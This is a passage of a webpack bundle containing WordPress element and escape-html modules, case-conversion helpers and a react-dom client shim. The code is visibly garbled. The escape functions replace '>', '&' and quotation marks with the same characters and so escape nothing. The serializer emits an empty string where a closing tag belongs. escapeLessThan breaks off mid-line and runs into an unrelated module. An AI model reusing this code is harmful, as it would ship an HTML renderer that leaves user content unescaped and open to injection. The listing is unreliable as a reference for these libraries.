passed `props` and `ref`, expected to * return an element. * * @return {Component} Enhanced component. */ /** * A component which renders its children without any wrapping element. */ /** * Checks if an object is a valid React Element. * * @param {Object} objectToCheck The object to be checked. * * @return {boolean} true if objectToTest is a valid React Element and false otherwise. */ /** * @see https://reactjs.org/docs/react-api.html#reactmemo */ /** * Component that activates additional checks and warnings for its descendants. */ /** * @see https://reactjs.org/docs/hooks-reference.html#usecallback */ /** * @see https://reactjs.org/docs/hooks-reference.html#usecontext */ /** * @see https://reactjs.org/docs/hooks-reference.html#usedebugvalue */ /** * @see https://reactjs.org/docs/hooks-reference.html#usedeferredvalue */ /** * @see https://reactjs.org/docs/hooks-reference.html#useeffect */ /** * @see https://reactjs.org/docs/hooks-reference.html#useid */ /** * @see https://reactjs.org/docs/hooks-reference.html#useimperativehandle */ /** * @see https://reactjs.org/docs/hooks-reference.html#useinsertioneffect */ /** * @see https://reactjs.org/docs/hooks-reference.html#uselayouteffect */ /** * @see https://reactjs.org/docs/hooks-reference.html#usememo */ /** * @see https://reactjs.org/docs/hooks-reference.html#usereducer */ /** * @see https://reactjs.org/docs/hooks-reference.html#useref */ /** * @see https://reactjs.org/docs/hooks-reference.html#usestate */ /** * @see https://reactjs.org/docs/hooks-reference.html#usesyncexternalstore */ /** * @see https://reactjs.org/docs/hooks-reference.html#usetransition */ /** * @see https://reactjs.org/docs/react-api.html#starttransition */ /** * @see https://reactjs.org/docs/react-api.html#reactlazy */ /** * @see https://reactjs.org/docs/react-api.html#reactsuspense */ /** * @see https://reactjs.org/docs/react-api.html#reactpurecomponent */ /** * Concatenate two or more React children objects. * * @param {...?Object} childrenArguments Array of children arguments (array of arrays/strings/objects) to concatenate. * * @return {Array} The concatenated value. */ function concatChildren(...childrenArguments) { return childrenArguments.reduce((accumulator, children, i) => { react__WEBPACK_IMPORTED_MODULE_0__.Children.forEach(children, (child, j) => { if (child && 'string' !== typeof child) { child = (0,react__WEBPACK_IMPORTED_MODULE_0__.cloneElement)(child, { key: [i, j].join() }); } accumulator.push(child); }); return accumulator; }, []); } /** * Switches the nodeName of all the elements in the children object. * * @param {?Object} children Children object. * @param {string} nodeName Node name. * * @return {?Object} The updated children object. */ function switchChildrenNodeName(children, nodeName) { return children && react__WEBPACK_IMPORTED_MODULE_0__.Children.map(children, (elt, index) => { if (typeof elt?.valueOf() === 'string') { return (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(nodeName, { key: index }, elt); } const { children: childrenProp, ...props } = elt.props; return (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(nodeName, { key: index, ...props }, childrenProp); }); } //# sourceMappingURL=react.js.map /***/ }), /***/ "../node_modules/@wordpress/element/build-module/serialize.js": /*!********************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/serialize.js ***! \********************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__), /* harmony export */ hasPrefix: () => (/* binding */ hasPrefix), /* harmony export */ renderAttributes: () => (/* binding */ renderAttributes), /* harmony export */ renderComponent: () => (/* binding */ renderComponent), /* harmony export */ renderElement: () => (/* binding */ renderElement), /* harmony export */ renderNativeComponent: () => (/* binding */ renderNativeComponent), /* harmony export */ renderStyle: () => (/* binding */ renderStyle) /* harmony export */ }); /* harmony import */ var is_plain_object__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! is-plain-object */ "../node_modules/is-plain-object/dist/is-plain-object.mjs"); /* harmony import */ var change_case__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! change-case */ "../node_modules/param-case/dist.es2015/index.js"); /* harmony import */ var _wordpress_escape_html__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @wordpress/escape-html */ "../node_modules/@wordpress/escape-html/build-module/index.js"); /* harmony import */ var _react__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./react */ "react"); /* harmony import */ var _react__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_react__WEBPACK_IMPORTED_MODULE_1__); /* harmony import */ var _raw_html__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./raw-html */ "../node_modules/@wordpress/element/build-module/raw-html.js"); /** * Parts of this source were derived and modified from fast-react-render, * released under the MIT license. * * https://github.com/alt-j/fast-react-render * * Copyright (c) 2016 Andrey Morozov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ /** @typedef {import('react').ReactElement} ReactElement */ const { Provider, Consumer } = (0,_react__WEBPACK_IMPORTED_MODULE_1__.createContext)(undefined); const ForwardRef = (0,_react__WEBPACK_IMPORTED_MODULE_1__.forwardRef)(() => { return null; }); /** * Valid attribute types. * * @type {Set} */ const ATTRIBUTES_TYPES = new Set(['string', 'boolean', 'number']); /** * Element tags which can be self-closing. * * @type {Set} */ const SELF_CLOSING_TAGS = new Set(['area', 'base', 'br', 'col', 'command', 'embed', 'hr', 'img', 'input', 'keygen', 'link', 'meta', 'param', 'source', 'track', 'wbr']); /** * Boolean attributes are attributes whose presence as being assigned is * meaningful, even if only empty. * * See: https://html.spec.whatwg.org/multipage/common-microsyntaxes.html#boolean-attributes * Extracted from: https://html.spec.whatwg.org/multipage/indices.html#attributes-3 * * Object.keys( [ ...document.querySelectorAll( '#attributes-1 > tbody > tr' ) ] * .filter( ( tr ) => tr.lastChild.textContent.indexOf( 'Boolean attribute' ) !== -1 ) * .reduce( ( result, tr ) => Object.assign( result, { * [ tr.firstChild.textContent.trim() ]: true * } ), {} ) ).sort(); * * @type {Set} */ const BOOLEAN_ATTRIBUTES = new Set(['allowfullscreen', 'allowpaymentrequest', 'allowusermedia', 'async', 'autofocus', 'autoplay', 'checked', 'controls', 'default', 'defer', 'disabled', 'download', 'formnovalidate', 'hidden', 'ismap', 'itemscope', 'loop', 'multiple', 'muted', 'nomodule', 'novalidate', 'open', 'playsinline', 'readonly', 'required', 'reversed', 'selected', 'typemustmatch']); /** * Enumerated attributes are attributes which must be of a specific value form. * Like boolean attributes, these are meaningful if specified, even if not of a * valid enumerated value. * * See: https://html.spec.whatwg.org/multipage/common-microsyntaxes.html#enumerated-attribute * Extracted from: https://html.spec.whatwg.org/multipage/indices.html#attributes-3 * * Object.keys( [ ...document.querySelectorAll( '#attributes-1 > tbody > tr' ) ] * .filter( ( tr ) => /^("(.+?)";?\s*)+/.test( tr.lastChild.textContent.trim() ) ) * .reduce( ( result, tr ) => Object.assign( result, { * [ tr.firstChild.textContent.trim() ]: true * } ), {} ) ).sort(); * * Some notable omissions: * * - `alt`: https://blog.whatwg.org/omit-alt * * @type {Set} */ const ENUMERATED_ATTRIBUTES = new Set(['autocapitalize', 'autocomplete', 'charset', 'contenteditable', 'crossorigin', 'decoding', 'dir', 'draggable', 'enctype', 'formenctype', 'formmethod', 'http-equiv', 'inputmode', 'kind', 'method', 'preload', 'scope', 'shape', 'spellcheck', 'translate', 'type', 'wrap']); /** * Set of CSS style properties which support assignment of unitless numbers. * Used in rendering of style properties, where `px` unit is assumed unless * property is included in this set or value is zero. * * Generated via: * * Object.entries( document.createElement( 'div' ).style ) * .filter( ( [ key ] ) => ( * ! /^(webkit|ms|moz)/.test( key ) && * ( e.style[ key ] = 10 ) && * e.style[ key ] === '10' * ) ) * .map( ( [ key ] ) => key ) * .sort(); * * @type {Set} */ const CSS_PROPERTIES_SUPPORTS_UNITLESS = new Set(['animation', 'animationIterationCount', 'baselineShift', 'borderImageOutset', 'borderImageSlice', 'borderImageWidth', 'columnCount', 'cx', 'cy', 'fillOpacity', 'flexGrow', 'flexShrink', 'floodOpacity', 'fontWeight', 'gridColumnEnd', 'gridColumnStart', 'gridRowEnd', 'gridRowStart', 'lineHeight', 'opacity', 'order', 'orphans', 'r', 'rx', 'ry', 'shapeImageThreshold', 'stopOpacity', 'strokeDasharray', 'strokeDashoffset', 'strokeMiterlimit', 'strokeOpacity', 'strokeWidth', 'tabSize', 'widows', 'x', 'y', 'zIndex', 'zoom']); /** * Returns true if the specified string is prefixed by one of an array of * possible prefixes. * * @param {string} string String to check. * @param {string[]} prefixes Possible prefixes. * * @return {boolean} Whether string has prefix. */ function hasPrefix(string, prefixes) { return prefixes.some(prefix => string.indexOf(prefix) === 0); } /** * Returns true if the given prop name should be ignored in attributes * serialization, or false otherwise. * * @param {string} attribute Attribute to check. * * @return {boolean} Whether attribute should be ignored. */ function isInternalAttribute(attribute) { return 'key' === attribute || 'children' === attribute; } /** * Returns the normal form of the element's attribute value for HTML. * * @param {string} attribute Attribute name. * @param {*} value Non-normalized attribute value. * * @return {*} Normalized attribute value. */ function getNormalAttributeValue(attribute, value) { switch (attribute) { case 'style': return renderStyle(value); } return value; } /** * This is a map of all SVG attributes that have dashes. Map(lower case prop => dashed lower case attribute). * We need this to render e.g strokeWidth as stroke-width. * * List from: https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute. */ const SVG_ATTRIBUTE_WITH_DASHES_LIST = ['accentHeight', 'alignmentBaseline', 'arabicForm', 'baselineShift', 'capHeight', 'clipPath', 'clipRule', 'colorInterpolation', 'colorInterpolationFilters', 'colorProfile', 'colorRendering', 'dominantBaseline', 'enableBackground', 'fillOpacity', 'fillRule', 'floodColor', 'floodOpacity', 'fontFamily', 'fontSize', 'fontSizeAdjust', 'fontStretch', 'fontStyle', 'fontVariant', 'fontWeight', 'glyphName', 'glyphOrientationHorizontal', 'glyphOrientationVertical', 'horizAdvX', 'horizOriginX', 'imageRendering', 'letterSpacing', 'lightingColor', 'markerEnd', 'markerMid', 'markerStart', 'overlinePosition', 'overlineThickness', 'paintOrder', 'panose1', 'pointerEvents', 'renderingIntent', 'shapeRendering', 'stopColor', 'stopOpacity', 'strikethroughPosition', 'strikethroughThickness', 'strokeDasharray', 'strokeDashoffset', 'strokeLinecap', 'strokeLinejoin', 'strokeMiterlimit', 'strokeOpacity', 'strokeWidth', 'textAnchor', 'textDecoration', 'textRendering', 'underlinePosition', 'underlineThickness', 'unicodeBidi', 'unicodeRange', 'unitsPerEm', 'vAlphabetic', 'vHanging', 'vIdeographic', 'vMathematical', 'vectorEffect', 'vertAdvY', 'vertOriginX', 'vertOriginY', 'wordSpacing', 'writingMode', 'xmlnsXlink', 'xHeight'].reduce((map, attribute) => { // The keys are lower-cased for more robust lookup. map[attribute.toLowerCase()] = attribute; return map; }, {}); /** * This is a map of all case-sensitive SVG attributes. Map(lowercase key => proper case attribute). * The keys are lower-cased for more robust lookup. * Note that this list only contains attributes that contain at least one capital letter. * Lowercase attributes don't need mapping, since we lowercase all attributes by default. */ const CASE_SENSITIVE_SVG_ATTRIBUTES = ['allowReorder', 'attributeName', 'attributeType', 'autoReverse', 'baseFrequency', 'baseProfile', 'calcMode', 'clipPathUnits', 'contentScriptType', 'contentStyleType', 'diffuseConstant', 'edgeMode', 'externalResourcesRequired', 'filterRes', 'filterUnits', 'glyphRef', 'gradientTransform', 'gradientUnits', 'kernelMatrix', 'kernelUnitLength', 'keyPoints', 'keySplines', 'keyTimes', 'lengthAdjust', 'limitingConeAngle', 'markerHeight', 'markerUnits', 'markerWidth', 'maskContentUnits', 'maskUnits', 'numOctaves', 'pathLength', 'patternContentUnits', 'patternTransform', 'patternUnits', 'pointsAtX', 'pointsAtY', 'pointsAtZ', 'preserveAlpha', 'preserveAspectRatio', 'primitiveUnits', 'refX', 'refY', 'repeatCount', 'repeatDur', 'requiredExtensions', 'requiredFeatures', 'specularConstant', 'specularExponent', 'spreadMethod', 'startOffset', 'stdDeviation', 'stitchTiles', 'suppressContentEditableWarning', 'suppressHydrationWarning', 'surfaceScale', 'systemLanguage', 'tableValues', 'targetX', 'targetY', 'textLength', 'viewBox', 'viewTarget', 'xChannelSelector', 'yChannelSelector'].reduce((map, attribute) => { // The keys are lower-cased for more robust lookup. map[attribute.toLowerCase()] = attribute; return map; }, {}); /** * This is a map of all SVG attributes that have colons. * Keys are lower-cased and stripped of their colons for more robust lookup. */ const SVG_ATTRIBUTES_WITH_COLONS = ['xlink:actuate', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space', 'xmlns:xlink'].reduce((map, attribute) => { map[attribute.replace(':', '').toLowerCase()] = attribute; return map; }, {}); /** * Returns the normal form of the element's attribute name for HTML. * * @param {string} attribute Non-normalized attribute name. * * @return {string} Normalized attribute name. */ function getNormalAttributeName(attribute) { switch (attribute) { case 'htmlFor': return 'for'; case 'className': return 'class'; } const attributeLowerCase = attribute.toLowerCase(); if (CASE_SENSITIVE_SVG_ATTRIBUTES[attributeLowerCase]) { return CASE_SENSITIVE_SVG_ATTRIBUTES[attributeLowerCase]; } else if (SVG_ATTRIBUTE_WITH_DASHES_LIST[attributeLowerCase]) { return (0,change_case__WEBPACK_IMPORTED_MODULE_2__.paramCase)(SVG_ATTRIBUTE_WITH_DASHES_LIST[attributeLowerCase]); } else if (SVG_ATTRIBUTES_WITH_COLONS[attributeLowerCase]) { return SVG_ATTRIBUTES_WITH_COLONS[attributeLowerCase]; } return attributeLowerCase; } /** * Returns the normal form of the style property name for HTML. * * - Converts property names to kebab-case, e.g. 'backgroundColor' → 'background-color' * - Leaves custom attributes alone, e.g. '--myBackgroundColor' → '--myBackgroundColor' * - Converts vendor-prefixed property names to -kebab-case, e.g. 'MozTransform' → '-moz-transform' * * @param {string} property Property name. * * @return {string} Normalized property name. */ function getNormalStylePropertyName(property) { if (property.startsWith('--')) { return property; } if (hasPrefix(property, ['ms', 'O', 'Moz', 'Webkit'])) { return '-' + (0,change_case__WEBPACK_IMPORTED_MODULE_2__.paramCase)(property); } return (0,change_case__WEBPACK_IMPORTED_MODULE_2__.paramCase)(property); } /** * Returns the normal form of the style property value for HTML. Appends a * default pixel unit if numeric, not a unitless property, and not zero. * * @param {string} property Property name. * @param {*} value Non-normalized property value. * * @return {*} Normalized property value. */ function getNormalStylePropertyValue(property, value) { if (typeof value === 'number' && 0 !== value && !CSS_PROPERTIES_SUPPORTS_UNITLESS.has(property)) { return value + 'px'; } return value; } /** * Serializes a React element to string. * * @param {import('react').ReactNode} element Element to serialize. * @param {Object} [context] Context object. * @param {Object} [legacyContext] Legacy context object. * * @return {string} Serialized element. */ function renderElement(element, context, legacyContext = {}) { if (null === element || undefined === element || false === element) { return ''; } if (Array.isArray(element)) { return renderChildren(element, context, legacyContext); } switch (typeof element) { case 'string': return (0,_wordpress_escape_html__WEBPACK_IMPORTED_MODULE_3__.escapeHTML)(element); case 'number': return element.toString(); } const { type, props } = /** @type {{type?: any, props?: any}} */ element; switch (type) { case _react__WEBPACK_IMPORTED_MODULE_1__.StrictMode: case _react__WEBPACK_IMPORTED_MODULE_1__.Fragment: return renderChildren(props.children, context, legacyContext); case _raw_html__WEBPACK_IMPORTED_MODULE_4__["default"]: const { children, ...wrapperProps } = props; return renderNativeComponent(!Object.keys(wrapperProps).length ? null : 'div', { ...wrapperProps, dangerouslySetInnerHTML: { __html: children } }, context, legacyContext); } switch (typeof type) { case 'string': return renderNativeComponent(type, props, context, legacyContext); case 'function': if (type.prototype && typeof type.prototype.render === 'function') { return renderComponent(type, props, context, legacyContext); } return renderElement(type(props, legacyContext), context, legacyContext); } switch (type && type.$$typeof) { case Provider.$$typeof: return renderChildren(props.children, props.value, legacyContext); case Consumer.$$typeof: return renderElement(props.children(context || type._currentValue), context, legacyContext); case ForwardRef.$$typeof: return renderElement(type.render(props), context, legacyContext); } return ''; } /** * Serializes a native component type to string. * * @param {?string} type Native component type to serialize, or null if * rendering as fragment of children content. * @param {Object} props Props object. * @param {Object} [context] Context object. * @param {Object} [legacyContext] Legacy context object. * * @return {string} Serialized element. */ function renderNativeComponent(type, props, context, legacyContext = {}) { let content = ''; if (type === 'textarea' && props.hasOwnProperty('value')) { // Textarea children can be assigned as value prop. If it is, render in // place of children. Ensure to omit so it is not assigned as attribute // as well. content = renderChildren(props.value, context, legacyContext); const { value, ...restProps } = props; props = restProps; } else if (props.dangerouslySetInnerHTML && typeof props.dangerouslySetInnerHTML.__html === 'string') { // Dangerous content is left unescaped. content = props.dangerouslySetInnerHTML.__html; } else if (typeof props.children !== 'undefined') { content = renderChildren(props.children, context, legacyContext); } if (!type) { return content; } const attributes = renderAttributes(props); if (SELF_CLOSING_TAGS.has(type)) { return '<' + type + attributes + '/>'; } return '<' + type + attributes + '>' + content + ''; } /** @typedef {import('react').ComponentType} ComponentType */ /** * Serializes a non-native component type to string. * * @param {ComponentType} Component Component type to serialize. * @param {Object} props Props object. * @param {Object} [context] Context object. * @param {Object} [legacyContext] Legacy context object. * * @return {string} Serialized element */ function renderComponent(Component, props, context, legacyContext = {}) { const instance = new ( /** @type {import('react').ComponentClass} */ Component)(props, legacyContext); if (typeof // Ignore reason: Current prettier reformats parens and mangles type assertion // prettier-ignore /** @type {{getChildContext?: () => unknown}} */ instance.getChildContext === 'function') { Object.assign(legacyContext, /** @type {{getChildContext?: () => unknown}} */instance.getChildContext()); } const html = renderElement(instance.render(), context, legacyContext); return html; } /** * Serializes an array of children to string. * * @param {import('react').ReactNodeArray} children Children to serialize. * @param {Object} [context] Context object. * @param {Object} [legacyContext] Legacy context object. * * @return {string} Serialized children. */ function renderChildren(children, context, legacyContext = {}) { let result = ''; children = Array.isArray(children) ? children : [children]; for (let i = 0; i < children.length; i++) { const child = children[i]; result += renderElement(child, context, legacyContext); } return result; } /** * Renders a props object as a string of HTML attributes. * * @param {Object} props Props object. * * @return {string} Attributes string. */ function renderAttributes(props) { let result = ''; for (const key in props) { const attribute = getNormalAttributeName(key); if (!(0,_wordpress_escape_html__WEBPACK_IMPORTED_MODULE_3__.isValidAttributeName)(attribute)) { continue; } let value = getNormalAttributeValue(key, props[key]); // If value is not of serializable type, skip. if (!ATTRIBUTES_TYPES.has(typeof value)) { continue; } // Don't render internal attribute names. if (isInternalAttribute(key)) { continue; } const isBooleanAttribute = BOOLEAN_ATTRIBUTES.has(attribute); // Boolean attribute should be omitted outright if its value is false. if (isBooleanAttribute && value === false) { continue; } const isMeaningfulAttribute = isBooleanAttribute || hasPrefix(key, ['data-', 'aria-']) || ENUMERATED_ATTRIBUTES.has(attribute); // Only write boolean value as attribute if meaningful. if (typeof value === 'boolean' && !isMeaningfulAttribute) { continue; } result += ' ' + attribute; // Boolean attributes should write attribute name, but without value. // Mere presence of attribute name is effective truthiness. if (isBooleanAttribute) { continue; } if (typeof value === 'string') { value = (0,_wordpress_escape_html__WEBPACK_IMPORTED_MODULE_3__.escapeAttribute)(value); } result += '="' + value + '"'; } return result; } /** * Renders a style object as a string attribute value. * * @param {Object} style Style object. * * @return {string} Style attribute value. */ function renderStyle(style) { // Only generate from object, e.g. tolerate string value. if (!(0,is_plain_object__WEBPACK_IMPORTED_MODULE_0__.isPlainObject)(style)) { return style; } let result; for (const property in style) { const value = style[property]; if (null === value || undefined === value) { continue; } if (result) { result += ';'; } else { result = ''; } const normalName = getNormalStylePropertyName(property); const normalValue = getNormalStylePropertyValue(property, value); result += normalName + ':' + normalValue; } return result; } /* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = (renderElement); //# sourceMappingURL=serialize.js.map /***/ }), /***/ "../node_modules/@wordpress/element/build-module/utils.js": /*!****************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/utils.js ***! \****************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ isEmptyElement: () => (/* binding */ isEmptyElement) /* harmony export */ }); /** * Checks if the provided WP element is empty. * * @param {*} element WP element to check. * @return {boolean} True when an element is considered empty. */ const isEmptyElement = element => { if (typeof element === 'number') { return false; } if (typeof element?.valueOf() === 'string' || Array.isArray(element)) { return !element.length; } return !element; }; //# sourceMappingURL=utils.js.map /***/ }), /***/ "../node_modules/@wordpress/escape-html/build-module/escape-greater.js": /*!*****************************************************************************!*\ !*** ../node_modules/@wordpress/escape-html/build-module/escape-greater.js ***! \*****************************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ __unstableEscapeGreaterThan) /* harmony export */ }); /** * Returns a string with greater-than sign replaced. * * Note that if a resolution for Trac#45387 comes to fruition, it is no longer * necessary for `__unstableEscapeGreaterThan` to exist. * * See: https://core.trac.wordpress.org/ticket/45387 * * @param {string} value Original string. * * @return {string} Escaped string. */ function __unstableEscapeGreaterThan(value) { return value.replace(/>/g, '>'); } //# sourceMappingURL=escape-greater.js.map /***/ }), /***/ "../node_modules/@wordpress/escape-html/build-module/index.js": /*!********************************************************************!*\ !*** ../node_modules/@wordpress/escape-html/build-module/index.js ***! \********************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ escapeAmpersand: () => (/* binding */ escapeAmpersand), /* harmony export */ escapeAttribute: () => (/* binding */ escapeAttribute), /* harmony export */ escapeEditableHTML: () => (/* binding */ escapeEditableHTML), /* harmony export */ escapeHTML: () => (/* binding */ escapeHTML), /* harmony export */ escapeLessThan: () => (/* binding */ escapeLessThan), /* harmony export */ escapeQuotationMark: () => (/* binding */ escapeQuotationMark), /* harmony export */ isValidAttributeName: () => (/* binding */ isValidAttributeName) /* harmony export */ }); /* harmony import */ var _escape_greater__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./escape-greater */ "../node_modules/@wordpress/escape-html/build-module/escape-greater.js"); /** * Internal dependencies */ /** * Regular expression matching invalid attribute names. * * "Attribute names must consist of one or more characters other than controls, * U+0020 SPACE, U+0022 ("), U+0027 ('), U+003E (>), U+002F (/), U+003D (=), * and noncharacters." * * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2 * * @type {RegExp} */ const REGEXP_INVALID_ATTRIBUTE_NAME = /[\u007F-\u009F "'>/="\uFDD0-\uFDEF]/; /** * Returns a string with ampersands escaped. Note that this is an imperfect * implementation, where only ampersands which do not appear as a pattern of * named, decimal, or hexadecimal character references are escaped. Invalid * named references (i.e. ambiguous ampersand) are still permitted. * * @see https://w3c.github.io/html/syntax.html#character-references * @see https://w3c.github.io/html/syntax.html#ambiguous-ampersand * @see https://w3c.github.io/html/syntax.html#named-character-references * * @param {string} value Original string. * * @return {string} Escaped string. */ function escapeAmpersand(value) { return value.replace(/&(?!([a-z0-9]+|#[0-9]+|#x[a-f0-9]+);)/gi, '&'); } /** * Returns a string with quotation marks replaced. * * @param {string} value Original string. * * @return {string} Escaped string. */ function escapeQuotationMark(value) { return value.replace(/"/g, '"'); } /** * Returns a string with less-than sign replaced. * * @param {string} value Original string. * * @return {string} Escaped string. */ function escapeLessThan(value) { return value.replace(/ { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ dotCase: () => (/* binding */ dotCase) /* harmony export */ }); /* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! tslib */ "../node_modules/tslib/tslib.es6.mjs"); /* harmony import */ var no_case__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! no-case */ "../node_modules/no-case/dist.es2015/index.js"); function dotCase(input, options) { if (options === void 0) { options = {}; } return (0,no_case__WEBPACK_IMPORTED_MODULE_0__.noCase)(input, (0,tslib__WEBPACK_IMPORTED_MODULE_1__.__assign)({ delimiter: "." }, options)); } //# sourceMappingURL=index.js.map /***/ }), /***/ "../node_modules/lower-case/dist.es2015/index.js": /*!*******************************************************!*\ !*** ../node_modules/lower-case/dist.es2015/index.js ***! \*******************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ localeLowerCase: () => (/* binding */ localeLowerCase), /* harmony export */ lowerCase: () => (/* binding */ lowerCase) /* harmony export */ }); /** * Source: ftp://ftp.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt */ var SUPPORTED_LOCALE = { tr: { regexp: /\u0130|\u0049|\u0049\u0307/g, map: { İ: "\u0069", I: "\u0131", İ: "\u0069", }, }, az: { regexp: /\u0130/g, map: { İ: "\u0069", I: "\u0131", İ: "\u0069", }, }, lt: { regexp: /\u0049|\u004A|\u012E|\u00CC|\u00CD|\u0128/g, map: { I: "\u0069\u0307", J: "\u006A\u0307", Į: "\u012F\u0307", Ì: "\u0069\u0307\u0300", Í: "\u0069\u0307\u0301", Ĩ: "\u0069\u0307\u0303", }, }, }; /** * Localized lower case. */ function localeLowerCase(str, locale) { var lang = SUPPORTED_LOCALE[locale.toLowerCase()]; if (lang) return lowerCase(str.replace(lang.regexp, function (m) { return lang.map[m]; })); return lowerCase(str); } /** * Lower case as a function. */ function lowerCase(str) { return str.toLowerCase(); } //# sourceMappingURL=index.js.map /***/ }), /***/ "../node_modules/no-case/dist.es2015/index.js": /*!****************************************************!*\ !*** ../node_modules/no-case/dist.es2015/index.js ***! \****************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ noCase: () => (/* binding */ noCase) /* harmony export */ }); /* harmony import */ var lower_case__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! lower-case */ "../node_modules/lower-case/dist.es2015/index.js"); // Support camel case ("camelCase" -> "camel Case" and "CAMELCase" -> "CAMEL Case"). var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g]; // Remove all non-word characters. var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi; /** * Normalize the string into something other libraries can manipulate easier. */ function noCase(input, options) { if (options === void 0) { options = {}; } var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lower_case__WEBPACK_IMPORTED_MODULE_0__.lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d; var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0"); var start = 0; var end = result.length; // Trim the delimiter from around the output string. while (result.charAt(start) === "\0") start++; while (result.charAt(end - 1) === "\0") end--; // Transform each token independently. return result.slice(start, end).split("\0").map(transform).join(delimiter); } /** * Replace `re` in the input string with the replacement value. */ function replace(input, re, value) { if (re instanceof RegExp) return input.replace(re, value); return re.reduce(function (input, re) { return input.replace(re, value); }, input); } //# sourceMappingURL=index.js.map /***/ }), /***/ "../node_modules/param-case/dist.es2015/index.js": /*!*******************************************************!*\ !*** ../node_modules/param-case/dist.es2015/index.js ***! \*******************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ paramCase: () => (/* binding */ paramCase) /* harmony export */ }); /* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! tslib */ "../node_modules/tslib/tslib.es6.mjs"); /* harmony import */ var dot_case__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! dot-case */ "../node_modules/dot-case/dist.es2015/index.js"); function paramCase(input, options) { if (options === void 0) { options = {}; } return (0,dot_case__WEBPACK_IMPORTED_MODULE_0__.dotCase)(input, (0,tslib__WEBPACK_IMPORTED_MODULE_1__.__assign)({ delimiter: "-" }, options)); } //# sourceMappingURL=index.js.map /***/ }), /***/ "../node_modules/react-dom/client.js": /*!*******************************************!*\ !*** ../node_modules/react-dom/client.js ***! \*******************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { "use strict"; var m = __webpack_require__(/*! react-dom */ "react-dom"); if (false) {} else { var i = m.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED; exports.createRoot = function(c, o) { i.usingClientEntryPoint = true; try { return m.createRoot(c, o); } finally { i.usingClientEntryPoint = false; } }; exports.hydrateRoot = function(c, h, o) { i.usingClientEntryPoint = true; try { return m.hydrateRoot(c, h, o); } finally { i.usingClientEntryPoint = false; } }; } /***/ }), /***/ "react": /*!************************!*\ !*** external "React" ***! \************************/ /***/ ((module) => { 